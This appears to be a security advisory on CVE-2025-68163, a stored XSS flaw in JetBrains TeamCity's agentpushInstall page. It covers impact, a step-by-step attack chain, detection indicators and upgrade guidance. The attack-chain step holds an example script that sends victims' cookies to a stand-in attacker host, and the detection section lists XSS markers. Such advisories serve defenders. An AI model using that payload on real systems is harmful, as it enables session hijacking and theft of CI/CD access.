CVE-2025-68163: 
JetBrains TeamCity vulnerability analysis and mitigation

CVE-2025-68163 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity affecting all versions before 2025.11. The flaw exists on the agentpushInstall page, where an attacker with high administrative privileges can inject malicious scripts that are persistently stored and later executed in a victim's browser. It was published on December 16, 2025, with a patch released in TeamCity 2025.11. The vulnerability carries a CVSS v3.1 base score of 4.8 (Medium) (JetBrains Advisory, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. Insufficient input sanitization and output encoding on the agentpushInstall page allows a high-privileged attacker to submit crafted input containing malicious JavaScript, which is then stored server-side and rendered unsanitized to other users who visit the page. Exploitation requires network access, high privileges, and user interaction (a victim must load the affected page), limiting the practical attack surface (JetBrains Advisory, Red Hat CVE).

Successful exploitation could allow an attacker to steal session tokens or cookies from victims who visit the compromised page, perform actions on behalf of those victims within the TeamCity application, and potentially access or manipulate CI/CD pipeline configurations and sensitive build data. The confidentiality and integrity impacts are rated low, with no direct availability impact. Given TeamCity's role as a CI/CD platform, session hijacking could indirectly enable broader access to build artifacts, source code, or deployment credentials (JetBrains Advisory, Red Hat CVE).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.011% (0.000110), reflecting a very low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The requirement for high privileges significantly reduces the exploitability of this vulnerability (Red Hat CVE).

1. Privilege Acquisition: Obtain or compromise a high-privilege (administrator-level) account on the target JetBrains TeamCity instance running a version prior to 2025.11.
2. Navigate to Vulnerable Page: Access the agentpushInstall page within the TeamCity administration interface.
3. Inject Malicious Payload: Submit a crafted input containing a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a field on the page that lacks proper sanitization.
4. Payload Persistence: The malicious script is stored server-side and will be rendered to any user who subsequently loads the agentpushInstall page.
5. Victim Interaction: Wait for a target user (e.g., another administrator or developer) to visit the page, triggering execution of the injected script in their browser.
6. Session Hijacking / Action Execution: The script exfiltrates session cookies or performs unauthorized actions within TeamCity on behalf of the victim (JetBrains Advisory).

• Logs: Unexpected or anomalous input containing HTML/JavaScript tags (e.g., <script>, onerror=, javascript:) in TeamCity server logs associated with the agentpushInstall page or related API endpoints.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading the agentpushInstall page, potentially carrying cookie or session data in query parameters.
• Application: Unusual content rendered on the agentpushInstall page that includes script tags or encoded JavaScript when inspected in browser developer tools.
• Logs: TeamCity audit logs showing high-privilege account activity on the agentpushInstall page from unexpected IP addresses or at unusual times.

The primary remediation is to upgrade JetBrains TeamCity to version 2025.11 or later, which contains the fix for this vulnerability (JetBrains Advisory). As interim mitigations, organizations should restrict administrative access to the TeamCity instance to trusted personnel only, implement a strict Content Security Policy (CSP) to limit script execution, and enable additional input validation and output encoding where possible. Regularly auditing user privileges and access controls is also recommended to reduce the risk of privilege abuse.